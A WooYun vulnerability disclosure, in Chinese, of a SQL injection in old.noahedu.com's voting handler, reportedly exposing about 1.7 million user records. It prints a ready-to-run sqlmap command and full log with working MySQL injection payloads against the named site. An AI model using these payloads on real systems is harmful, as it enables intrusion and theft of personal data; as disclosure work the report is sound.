当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143465

漏洞标题:诺亚舟教育网SQL注入漏洞(涉及近170w用户信息)

相关厂商:诺亚舟教育网

漏洞作者: 路人甲

提交时间:2015-09-26 09:10

修复时间:2015-11-10 09:12

公开时间:2015-11-10 09:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-11-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

诺亚舟教育网SQL注入漏洞(涉及近170w用户信息)

详细说明:

【注入点】

http://old.noahedu.com/wenba/handle.php


POST注入:

option=ques_vote&qid=34014&dosubmit=%EF%BF%BD%EF%BF%BD%
EF%BF%BD%CB%A3%EF%BF%BD%D7%AA%EF%BF%BD%EF%BF%BD%CD%B6%C6%B1%EF%BF%BD%EF%BF%BD%EF
%BF%BD%EF%BF%BD&check_answer%5B%5D=17663


sqlmap指令:

python sqlmap.py -u "http://old.noahedu.com/w
enba/handle.php" --data "option=ques_vote&qid=34014&dosubmit=%EF%BF%BD%EF%BF%BD%
EF%BF%BD%CB%A3%EF%BF%BD%D7%AA%EF%BF%BD%EF%BF%BD%CD%B6%C6%B1%EF%BF%BD%EF%BF%BD%EF
%BF%BD%EF%BF%BD&check_answer%5B%5D=17663"


【sqlmap截图】:
图中部分内容泄露了我个人信息 所以打了马赛克

1.png


当前数据库截图 可以看到20多w用户信息

2.png


同时可以跨库查询 论坛数据库!如图,148w用户信息泄露

3.png


漏洞证明:

【sqlmap全过程】

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:34:59
[17:35:00] [INFO] testing connection to the target URL
[17:35:01] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[17:35:02] [INFO] target URL is stable
[17:35:02] [INFO] testing if POST parameter 'option' is dynamic
[17:35:02] [INFO] confirming that POST parameter 'option' is dynamic
[17:35:02] [WARNING] POST parameter 'option' does not appear dynamic
[17:35:02] [WARNING] heuristic (basic) test shows that POST parameter 'option' m
ight not be injectable
[17:35:02] [INFO] testing for SQL injection on POST parameter 'option'
[17:35:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:35:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:35:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:35:06] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:35:06] [WARNING] if you experience problems with non-ASCII identifier names
you are advised to rerun with '--tamper=charunicodeencode'
[17:35:07] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[17:35:07] [INFO] testing 'MySQL inline queries'
[17:35:07] [INFO] testing 'PostgreSQL inline queries'
[17:35:08] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[17:35:08] [INFO] testing 'Oracle inline queries'
[17:35:08] [INFO] testing 'SQLite inline queries'
[17:35:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:35:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[17:35:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:35:10] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:35:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[17:35:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:35:13] [INFO] testing 'Oracle AND time-based blind'
[17:35:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[17:35:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:35:24] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[17:35:33] [WARNING] POST parameter 'option' is not injectable
[17:35:33] [INFO] testing if POST parameter 'qid' is dynamic
[17:35:33] [INFO] confirming that POST parameter 'qid' is dynamic
[17:35:33] [INFO] POST parameter 'qid' is dynamic
[17:35:33] [ERROR] possible integer casting detected (e.g. "$qid=intval($_REQUES
T['qid'])") at the back-end web application
do you want to skip those kind of cases (and save scanning time)? [y/N]
[17:35:50] [INFO] testing for SQL injection on POST parameter 'qid'
[17:35:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:35:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:35:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:35:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:35:56] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[17:35:57] [INFO] testing 'MySQL inline queries'
[17:35:57] [INFO] testing 'PostgreSQL inline queries'
[17:35:58] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[17:35:58] [INFO] testing 'Oracle inline queries'
[17:35:58] [INFO] testing 'SQLite inline queries'
[17:35:58] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:35:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[17:36:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:36:01] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:36:03] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[17:36:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:36:06] [INFO] testing 'Oracle AND time-based blind'
[17:36:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[17:36:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:36:39] [WARNING] POST parameter 'qid' is not injectable
[17:36:39] [INFO] testing if POST parameter 'dosubmit' is dynamic
[17:36:40] [WARNING] POST parameter 'dosubmit' does not appear dynamic
[17:36:40] [WARNING] heuristic (basic) test shows that POST parameter 'dosubmit'
might not be injectable
[17:36:40] [INFO] testing for SQL injection on POST parameter 'dosubmit'
[17:36:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:36:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:36:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:36:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:36:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[17:36:47] [INFO] testing 'MySQL inline queries'
[17:36:47] [INFO] testing 'PostgreSQL inline queries'
[17:36:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[17:36:48] [INFO] testing 'Oracle inline queries'
[17:36:48] [INFO] testing 'SQLite inline queries'
[17:36:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:36:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[17:36:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:36:51] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:36:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[17:36:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:36:56] [INFO] testing 'Oracle AND time-based blind'
[17:37:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[17:37:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:37:29] [WARNING] POST parameter 'dosubmit' is not injectable
[17:37:29] [INFO] testing if POST parameter 'check_answer[]' is dynamic
[17:37:30] [WARNING] POST parameter 'check_answer[]' does not appear dynamic
[17:37:30] [INFO] heuristic (basic) test shows that POST parameter 'check_answer
[]' might be injectable (possible DBMS: 'MySQL')
[17:37:30] [INFO] testing for SQL injection on POST parameter 'check_answer[]'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n]
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1) values? [Y/n]
[17:37:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:37:34] [WARNING] reflective value(s) found and filtering out
[17:37:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MyS
QL comment)'
[17:37:37] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQ
L comment)'
[17:37:39] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY o
r GROUP BY clause (RLIKE)'
[17:37:40] [INFO] POST parameter 'check_answer[]' seems to be 'MySQL boolean-bas
ed blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)' injectable
[17:37:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:37:40] [INFO] POST parameter 'check_answer[]' is 'MySQL >= 5.0 AND error-bas
ed - WHERE or HAVING clause' injectable
[17:37:40] [INFO] testing 'MySQL inline queries'
[17:37:41] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:37:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[17:37:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:38:02] [INFO] POST parameter 'check_answer[]' seems to be 'MySQL > 5.0.11 AN
D time-based blind' injectable
[17:38:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[17:38:02] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[17:38:08] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[17:38:14] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[17:38:19] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[17:38:24] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[17:38:29] [INFO] testing 'MySQL UNION query (random number) - 42 to 60 columns'
[17:38:33] [INFO] testing 'MySQL UNION query (NULL) - 62 to 80 columns'
[17:38:38] [INFO] testing 'MySQL UNION query (random number) - 62 to 80 columns'
[17:38:42] [INFO] testing 'MySQL UNION query (NULL) - 82 to 100 columns'
[17:38:46] [INFO] testing 'MySQL UNION query (random number) - 82 to 100 columns
'
[17:38:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
POST parameter 'check_answer[]' is vulnerable. Do you want to keep testing the o
thers (if any)? [y/N]
sqlmap identified the following injection points with a total of 961 HTTP(s) req
uests:
---
Parameter: check_answer[] (POST)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: option=ques_vote&qid=34014&dosubmit=%EF%BF%BD%EF%BF%BD%EF%BF%BD%CB%
A3%EF%BF%BD%D7%AA%EF%BF%BD%EF%BF%BDF:\白帽子\安全工具\网站攻防\sqlmapB6%C6%B1%EF
%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&check_answer[]=17663 RLIKE (SELECT (CASE WHEN
(8459=8459) THEN 17663 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: option=ques_vote&qid=34014&dosubmit=&check_answer[]=17663 AND (SELECT 7069 FROM(SEL
ECT COUNT(*),CONCAT(0x717a786a71,(SELECT (CASE WHEN (7069=7069) THEN 1 ELSE 0 EN
D)),0x716a716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP
BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: option=ques_vote&qid=34014&dosubmit=&check_answer[]=17663 AND SLEEP(5)
---
[17:38:59] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.8, PHP 5.2.5
back-end DBMS: MySQL 5.0


修复方案:

old.noahedu.com 可以看到是老版本的官网
但是老版本要么即使下线 要么也要做好漏洞修复
否则依然会对用户造成深重影响

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)